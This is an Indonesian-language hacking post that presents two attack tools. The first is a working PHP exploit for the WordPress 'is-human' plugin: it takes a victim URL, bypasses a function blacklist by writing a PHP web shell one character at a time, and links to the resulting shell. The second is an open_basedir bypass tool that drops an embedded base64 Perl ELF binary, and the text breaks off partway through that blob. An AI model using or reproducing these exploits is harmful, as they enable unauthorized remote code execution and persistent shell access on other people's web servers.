exploit Nofiafitri.com

Berikut contoh Exploitasi PHP Code excute dimana pada target reguest yg masuk di filter beberapa function php seperti encoder/decoder, system, dll.
saya telah mencoba jg menggunakan string dasar chr namun tetap di blacklist. simimin mungkin udah belajar

teknik exploitasi yg sebelumna. ini utk attak ke 3x lho.. ngakak

pikir dan berpikir akhirnya saya mencoba satu2 beberapa function php,, ternyata ada msh ada function yg tidak difilter yakni fwrite. kemudian saya mencoba bikin function fwrite namun gagal jg. kemudian saya test menulis bebrapa kata tanpa sintax. berhasil. smangat

Kesimpulan Jika bukan sintax php work
jadi bagaimana cara menulis file phpshell ke target Silahkan Pahami code RCE berikut:

PHP Code:

<?php/**
 * @author BlueBoyz
 * @copyright 2012 Www.ExploreCrew.Org
 * @version 11.3.2
 * @tutorial Alternative Remote Code Execution Vulnerability
 * @for education purphose only
 */


# <!-- start:function grabing -->function jHTTP($languagge='en_gb', $method='POST',$url,$data){
    $header = array('Accept-Language: '.$languagge.',en-us;q=0.7,en;q=0.3' );
    $ch = curl_init();
    if ($method == 'POST'){
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_POST, TRUE );
        curl_setopt($ch, CURLOPT_POSTFIELDS,$data );
    }elseif($method == 'GET'){
        curl_setopt($ch, CURLOPT_URL,$url.''.$data);
    }elseif($method == 'UPLOAD'){
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);    
    }
    curl_setopt($ch, CURLOPT_REFERER, $url);

    curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt'); 
 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);   
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0');
    curl_setopt($ch, CURLOPT_HTTPHEADER,$header) ;
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    return curl_exec($ch);
    curl_close($ch); 
}# <!-- end:function grabing -->if(isset($_POST['exp'])){
 
    #mengambil link victim dari form, kemudian ditambah bug + prefix code [xcrew]. 
    $victim =$_POST['victim'].'/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options;[excute];error';
 
    #kita membuat perintah untuk menulis file xc.php dengan str <?php system($_GET['x']);
    $exploit = array (
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(60));fclose(\$fp)", // menulis = <
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(63));fclose(\$fp)",// menulis = ?
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,'php');fclose(\$fp)", // menulis = php
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(13));fclose(\$fp)", // menulis spasi
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,'system');fclose(\$fp)", // menulis system
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(40));fclose(\$fp)", // menulis (
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(36));fclose(\$fp)", // menulis $
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,'_GET');fclose(\$fp)", // menulis _GET
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(91));fclose(\$fp)", // menulis [
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(39));fclose(\$fp)", // menulis '
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,'x');fclose(\$fp)", // menulis x
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(39));fclose(\$fp)", // menulis '
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(93));fclose(\$fp)", // menulis ]
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(41));fclose(\$fp)", // menulis )
        "\$fp=fopen('xc'.chr(46).'php','a+');fwrite(\$fp,chr(59));fclose(\$fp)" // menulis ;
        // semuanya klw digabungin menjadi <?php system($_GET['x']);
    );
 
    #looping array di atas
    for($i=0;$i<count($exploit);$i++){
        #tukar prefix [xcrew] tersebut dengan yg didalam array
        $link = str_replace('[xcrew]',$exploit[$i],$victim);
        jHTTP($languagge='en_gb', 'GET',$link,'');
    }
    $info = '<a href="'.$_POST['victim'].'/wp-content/plugins/is-human/xc.php?x=uname -a">Go to Shell</a>';
}#membuat form HTML nya?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
    <meta name="author" content="BlueBoyz" />
    <title>Exploit IS Human</title>
</head>
<body>
<form method="post" action="" >
<input type="text" name="victim" size="100" /> eg: http://webvictim.com/wordpress/ <br />
<input type="submit" name="exp" />
</form>
<?php echo @$info ?></body>
</html> 

open_basedir fungsi untuk batasan lokasi atau path yang dibolehkan oleh server web. ingat loh open_basedir tidak sama dengan su-PHP.
Ok,, to the point ja,,

POC
Karena open_basedir memblok akses ke beberapa folder yang di anggap rawan,, ketika kita menjalankan scripts perl jelas tidak akan jalan,,, karna perl menggunakan interpreter diluar arena yg aman,,

Code:

#!/usr/bin/perl

bagaimana klw interpreter dibuat lokal, dengan cara membuat bineri lokal,, ternyata work,, perl jalan,, ngakak

TOOL
Tool ini membuat file perl lokal,, kemudian perintah yang dijalankan dr php akan di excute ke perl lokal,,,
(bukan perl yg di #!/usr/bin/perl ). klw 64bit gk work, karna binery nya 86bit linux. bsd, windows gk work,, klw pengen jalan buat binery nya sendiri ketawa

PHP Code:

<?phpecho '<html>';
echo '<head><title>Jz ByPass Tool (Linux)</title></head><body>';
echo '<pre>';
echo 'php_uname: '.@php_uname()."\n";
echo 'open_basedir: '.@ini_get("open_basedir")."\n";
echo 'safe_mode: '.@ini_get("safe_mode")."\n";
echo 'disable_functions: '.@ini_get("disable_functions")."\n";
echo '</pre>';
echo '<hr/>';$os = strtoupper(substr(PHP_OS, 0, 3));
if (!defined('JZ_IS_WIN')) {define('JZ_IS_WIN', ($os === 'WIN') ? true : false);}

if( JZ_IS_WIN == true){

}else{
    if(!file_exists('jzm')){//binery perl
    $bin = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAAJAECDQAAABAKAAAAAAAADQAIAAIACgAGwAaAAYAAAA0AAAANIAECDSABAgAAQAAAAEAAAUAAAAEAAAAAwAAADQBAAA0gQQINIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIRCUAAEQlAAAFAAAAABAAAAEAAABEJQAARLUECES1BAgIAgAAFAIAAAYAAAAAEAAAAgAAAFglAABYtQQIWLUE​CBABAAAQAQAABgAAAAQAAAAEAAAASAEAAEiBBAhIgQQIIAAAACAAAAAEAAAABAAAAFDldGToIgAA6KIECOiiBAh8AAAAfAAAAAQAAAAEAAAAUeV0ZAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAQAAAAvbGliL2xkLWxpbnV4LnNvLjIAAAQAAAAQAAAAAQAAAEdOVQAAAAAAAgAAAAYAAAAJAAAAEQAAAC8AAAAEAAAABwAAAASREIKQIMYJCAQBDYEE​BE4vAAAAMAAAADIAAAA0AAAANQAAADcAAAAAAAAAOAAAADkAAAA8AAAAAAAAAD4AAABAAAAAAAAAAAAAAABBAAAAQgAAAHvwSmvq0+8Oa3+afOp8JKm5jfEO2XFYHKxL48C745J8awlD1kNF1ewMFOKeghea5Ld9/kwyYtvt283jngw6lwtZ6O3se5l1+Z+cyaK5eNsUAAAAAAAAAAAAAAAAAAAAANYAAAAAAAAAUwEAABIAAADkAAAAAAAAACMAAAASAAAAawAAAAAAAABIAAAAEgAAAMcBAAAAAAAAhAQAABIAAAArAQAAAAAAAFAAAAASAAAArgIAAAAAAADWAAAAEgAAAAwAAAAAAAAAAAAAACAAAAAbAAAAAAAAAAAAAAAgAAAAxwIAAAAAAADvAAAAEgAAAJcCAAAAA​AAA6wAAABIAAAAjAgAAAAAAAD8AAAASAAAAaAEAAAAAAAAPBAAAEgAAAPoAAAAAAAAAkgAAABIAAAC1AgAAAAAAAEwAAAASAAAAPgEAAAAAAABKAQAAEgAAAM4CAAAAAAAAnwEAABIAAAC/AAAAAAAAADcAAAASAAAA0gEAAAAAAABZAQAAEgAAAJwBAAAAAAAAZgAAABIAAAAVAQAAAAAAALYBAAASAAAAHQIAAAAAAACWAAAAEgAAADsAAAAAAAAAUAAAABIAAABMAAAAAAAAAHUHAAASAAAAaAIAAAAAAAAjAAAAEgAAAC8AAAAAAAAAGAAAABEAAACeAAAAAAAAAFEBAAASAAAATAEAAAAAAABmAAAAEgAAABYCAAAAAAAAZwAAABIAAACtAAAA​AAAAACgHAAASAAAAcQEAAAAAAACOAAAAEgAAAFsAAAAAAAAABAAAABEAAACOAQAAAAAAAPsSAAASAAAAIAEAAAAAAACiAAAAEgAAAO4AAAAAAAAAtAAAABIAAADgAgAAAAAAAEYAAAASAAAAKwIAAAAAAABkAgAAEgAAAHcAAAAAAAAAPgAAABIAAACqAQAAAAAAAEgHAAASAAAAyQAAAAAAAAABAAAAEQAAALwBAAAAAAAAMQAAABIAAACDAQAAAAAA​ALQFAAASAAAA3QEAAAAAAAAEAAAAEQAAAKkCAAAAAAAA9AAAABIAAABaAQAAAAAAAH4AAAASAAAACgEAAAAAAAAyAAAAEgAAAIwAAAAAAAAAQwwAABIAAACXAwAAMJMECO8DAAASAAwARQMAABigBAgAAAAAEgANANsCAADgkAQIVAEAABIADADEAwAAIJcECBgBAAASAAwA5QMAAFyNBAgAAAAAEgAKAPgCAABMtwQIAAAAABAA8f+IAgAAOKAECAQA​AAARAA4ABAMAAFi3BAgAAAAAEADx/4oDAABItwQIAAAAABAAFwDxAgAATLcECAAAAAAQAPH/OwMAAFCfBAgFAAAAEgAMAG0DAAAAnAQILgEAABIADACnAwAAoJoECFcBAAASAAwAkAMAAACQBAgAAAAAEgAMANsDAABgnwQIaQAAABIADACMAwAASLcECAAAAAAgABcASwMAADSgBAgEAAAAEQAOAAkEAADQkgQIXQAAABIADABSAwAAMJ0ECNgBAAASAAwA6wMAAECYBAh5AQAAEgAMAABsaWJwZXJsLnNvAF9fZ21vbl9zdGFydF9fAF9Kdl9SZWdp​c3RlckNsYXNzZXMAUExfb3BfbXV0ZXgAUGVybF9hdGZvcmtfbG9jawBwZXJsX2NvbnN0cnVjdABQTF9zaWdmcGVfc2F2ZWQAUGVybF9nZXRfc3YAUGVybF9jcm9ha19ub2NvbnRleHQAUGVybF9zdl8ycHZfZmxhZ3MAUGVybF9zdl9zZXRwdm4AUGVybF9zdl8ydXZfZmxhZ3MAUGVybF9mb3JtAFBMX2RvX3VuZHVtcABQZXJsX3N2X3NldGl2AHBl​cmxfZnJlZQBQZXJsX21nX3NldABQZXJsX3N2XzJtb3J0YWwAUGVybF9uZXdSVgBQZXJsX3ZtZXNzAFBlcmxfbmV3U1YAUGVybF9hdGZvcmtfdW5sb2NrAFBlcmxfc3Zfc2V0cHYAUGVybF9odl9mZXRjaABQZXJsX25ld1NWcHZuAHBlcmxfcnVuAFBlcmxfc3ZfbmV3bW9ydGFsAFBlcmxfbmV3WFMAcGVybF9kZXN0cnVjdABQZXJsX3N2X3NldHV2​AFBlcmxfc3ZfMml2X2ZsYWdzAFBlcmxfY3JvYWsAcGVybF9wYXJzZQBwZXJsX2FsbG9jAFBMX3VzZV9zYWZlX3B1dGVudgBsaWJyZXNvbHYuc28uMgBsaWJuc2wuc28uMQBsaWJkbC5zby4yAGRsb3BlbgBkbHN5bQBkbGNsb3NlAGRsZXJyb3IAbGlibS5zby42AGxpYmNyeXB0LnNvLjEAbGlidXRpbC5zby4xAGxpYnB0aHJlYWQuc28uMABwdGhy​ZWFkX211dGV4X2Rlc3Ryb3kAbGliYy5zby42AF9JT19zdGRpbl91c2VkAF9fcmVnaXN0ZXJfYXRmb3JrAGV4aXQAc2lnbmFsAF9fc3RydG9sX2ludGVybmFsAGdldGVudgBfX2xpYmNfc3RhcnRfbWFpbgBfX3N0YWNrX2Noa19mYWlsAF9lZGF0YQBfX2Jzc19zdGFydABfZW5kAC91c3IvbGliL3Blcmw1LzUuOC44L2kzODYtbGludXgtdGhyZWFk​LW11bHRpL0NPUkUAX19saWJjX2NzdV9maW5pAF9mcF9odwBYU19EeW5hTG9hZGVyX2RsX2xvYWRfZmlsZQBYU19EeW5hTG9hZGVyX2RsX3VubG9hZF9maWxlAF9fZGF0YV9zdGFydABib290X0R5bmFMb2FkZXIAWFNfRHluYUxvYWRlcl9kbF9maW5kX3N5bWJvbABYU19EeW5hTG9hZGVyX2RsX2Vycm9yAF9fbGliY19jc3VfaW5pdABYU19EeW5h​TG9hZGVyX2RsX2luc3RhbGxfeHN1YgBYU19EeW5hTG9hZGVyX2RsX3VuZGVmX3N5bWJvbHMAR0xJQkNfMi4wAEdMSUJDXzIuMQBHTElCQ18yLjQAR0xJQkNfMi4zLjIAAAAAAAAAAAAAAAAAAgAAAAAAAgADAAQAAAAAAAIAAAACAAAAAAAAAAAABAAAAAAABQAAAAAAAAAGAAAAAAAAAAAAAAAAAAcABAAAAAAAAAAAAAAAAAACAAAAAAAAAAEAAQAB​AAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAWAIAABAAAAAgAAAAEGlpDQAABQAoBAAAAAAAAAEAAgALAgAAEAAAADAAAAARaWkNAAAGADIEAAAQAAAAEGlpDQAABAAoBAAAAAAAAAEAAwB+AgAAEAAAAAAAAAAUaWkNAAAHADwEAAAQAAAAchlpCQAAAwBGBAAAEAAAABBpaQ0AAAIAKAQAAAAAAABotgQIBgUAAGy2BAgGBwAA​cLYECAZBAAB0tgQIBjoAAHi2BAgGLwAAfLYECAYWAACAtgQIBjsAAIS2BAgGMgAAiLYECAYZAACMtgQIBh8AAJC2BAgGQgAAlLYECAYnAACYtgQIBkAAAJy2BAgGKgAArLYECAcBAACwtgQIBwIAALS2BAgHAwAAuLYECAcEAAC8tgQIBwYAAMC2BAgHBwAAxLYECAcJAADItgQIBwoAAMy2BAgHCwAA0LYECAcMAADUtgQIBw0AANi2BAgHDgAA3LYE​CAcPAADgtgQIBxAAAOS2BAgHEQAA6LYECAcSAADstgQIBxMAAPC2BAgHFAAA9LYECAcVAAD4tgQIBxcAAPy2BAgHGAAAALcECAcaAAAEtwQIBxsAAAi3BAgHHAAADLcECAcdAAAQtwQIBx4AABS3BAgHIAAAGLcECAchAAActwQIByIAACC3BAgHIwAAJLcECAckAAAotwQIByUAACy3BAgHJgAAMLcECAcoAAA0twQIBykAADi3BAgHKwAAPLcECAcs​AABAtwQIBy0AAES3BAgHLgAAVYnlg+wI6L0CAADoRAMAAOh/EgAAycMA/zWktgQI/yWotgQIAAAAAP8lrLYECGgAAAAA6eD/////JbC2BAhoCAAAAOnQ/////yW0tgQIaBAAAADpwP////8luLYECGgYAAAA6bD/////Jby2BAhoIAAAAOmg/////yXAtgQIaCgAAADpkP////8lxLYECGgwAAAA6YD/////Jci2BAhoOAAAAOlw/////yXMtgQIaEAAAADpYP////8l0LYECGhIAAAA6VD/////JdS2BAhoUAAAAOlA/////yXYtgQIaFgAAADpMP////8l3LYECGhgAAAA6SD/////JeC2BAhoaAAAAOkQ/////yXktgQIaHAAAADpAP////8l6LYECGh4AAAA6fD+////Jey2BAhogAAAAOng/v///yXwtgQIaIgAAADp0P7///8l9LYECGiQAAAA6cD+////Jfi2BAhomAAAAOmw/v///yX8tgQIaKAAAADpoP7///8lALcECGioAAAA6ZD+////JQS3BAhosAAAAOmA/v///yUItwQIaLgAAADpcP7///8lDLcECGjAAAAA6WD+////JRC3BAhoyAAAAOlQ/v///yUUtwQIaNAAAADpQP7///8lGLcECGjYAAAA6TD+////JRy3BAho4AAAAOkg/v///yUgtwQIaOgAAADpEP7///8lJLcECGjwAAAA6QD+////JSi3BAho+AAAAOnw/f///yUstwQIaAABAADp4P3///8lMLcECGgIAQAA6dD9////JTS3BAhoEAEAAOnA/f///yU4twQIaBgBAADpsP3///8lPLcECGggAQAA6aD9////JUC3BAhoKAEAAOmQ/f///yVEtwQIaDABAADpgP3//wAAAAAAAAAAAAAAADHtXonhg+TwUFRSaFCfBAhoYJ8ECFFWaOCQBAjoM/7///SQkFWJ5VOD7AToAAAAAFuBw3AmAACLk8z///+F0nQF6I79//9YW8nDkJCQkJCQVYnlU4PsBIA9ULcECAB1P7hQtQQILUy1BAjB+AKNWP+hTLcECDnDdh+NtCYAAAAAg8ABo0y3BAj/FIVMtQQIoUy3BAg5w3foxgVQtwQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wIoVS1BAiFwHQSuAAAAACFwHQJxwQkVLUE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​Rlcjo6ZGxfaW5zdGFsbF94c3ViKHBlcmxfbmFtZSwgc3ltcmVmLCBmaWxlbmFtZT0iJFBhY2thZ2UiKQAAVXNhZ2U6IER5bmFMb2FkZXI6OmRsX2ZpbmRfc3ltYm9sKGxpYmhhbmRsZSwgc3ltYm9sbmFtZSkAAAAAVXNhZ2U6IER5bmFMb2FkZXI6OmRsX3VubG9hZF9maWxlKGxpYnJlZikAAABVc2FnZTogRHluYUxvYWRlcjo6ZGxfbG9hZF9maW​xlKGZpbGVuYW1lLCBmbGFncz0wKQAAWFNfVkVSU0lPTgAlczo6JXMAJAA6OgBib290c3RyYXAgcGFyYW1ldGVyAER5bmFMb2FkZXIuYwBEeW5hTG9hZGVyOjpkbF9sb2FkX2ZpbGUARHluYUxvYWRlcjo6ZGxfdW5sb2FkX2ZpbGUARHluYUxvYWRlcjo6ZGxfZmluZF9zeW1ib2wARHluYUxvYWRlcjo6ZGxfdW5kZWZfc3ltYm9scwBEeW5hTG9hZG​VyOjpkbF9pbnN0YWxsX3hzdWIARHluYUxvYWRlcjo6ZGxfZXJyb3IARHluYUxvYWRlcjo6X2d1dHMxLjA1AFBFUkxfRExfTk9OTEFaWQBVc2FnZTogRHluYUxvYWRlcjo6ZGxfZXJyb3IoKQAAAAABGwM7eAAAAA4AAAD47f//lAAAAFjv///EAAAA6O///+AAAABI8P//BAEAADj0//8kAQAAWPX//0QBAADY9v//ZAEAALj3//+EAQAAGPn//6QBAABI+v//xAEAACj8///kAQAAaPz//wACAAB4/P//HAIAAOj8//88AgAAFAAAAAAAAAABelIAAXwIARsMBASIAQAALAAAABwAAABc7f//VAEAAABEDAEACQQBRgwEBEEOCIUCQg0FRoMFUYcDhAZFhgQAGAAAAEwAAACM7v//hQAAAABBDgiFAkINBUGDAyAAAABoAAAAAO///10AAAAAQQ4IhQJCDQVGhgRJhwODBQAAABwAAACMAAAAPO///+8DAAAAQQ4IhQJCDQVGgwWGBIcDHAAAAKwAAAAM8///GAEAAABBDgiFAkINBUaDBYYEhwMcAAAAzAAAAAz0//95AQAAAEEOCIUCQg0FRoMFhgSHAxwAAADsAAAAbPX//98AAAAAQQ4IhQJCDQVDgwWGBIcDHAAAAAwBAAAs9v//VwEAAABBDgiFAkINBUaDBYYEhwMcAAAALAEAAGz3//8uAQAAAEEOCIUCQg0FRoMFhgSHAxwAAABMAQAAfPj//9gBAAAAQQ4IhQJCDQVGgwWGBIcDGAAAAGwBAAA8+v//OwAAAABBDgiFAkINBUGDAxgAAACIAQAAYPr//wUAAAAAQQ4IhQJCDQUAAAAcAAAApAEAAFT6//9pAAAAAEEOCIUC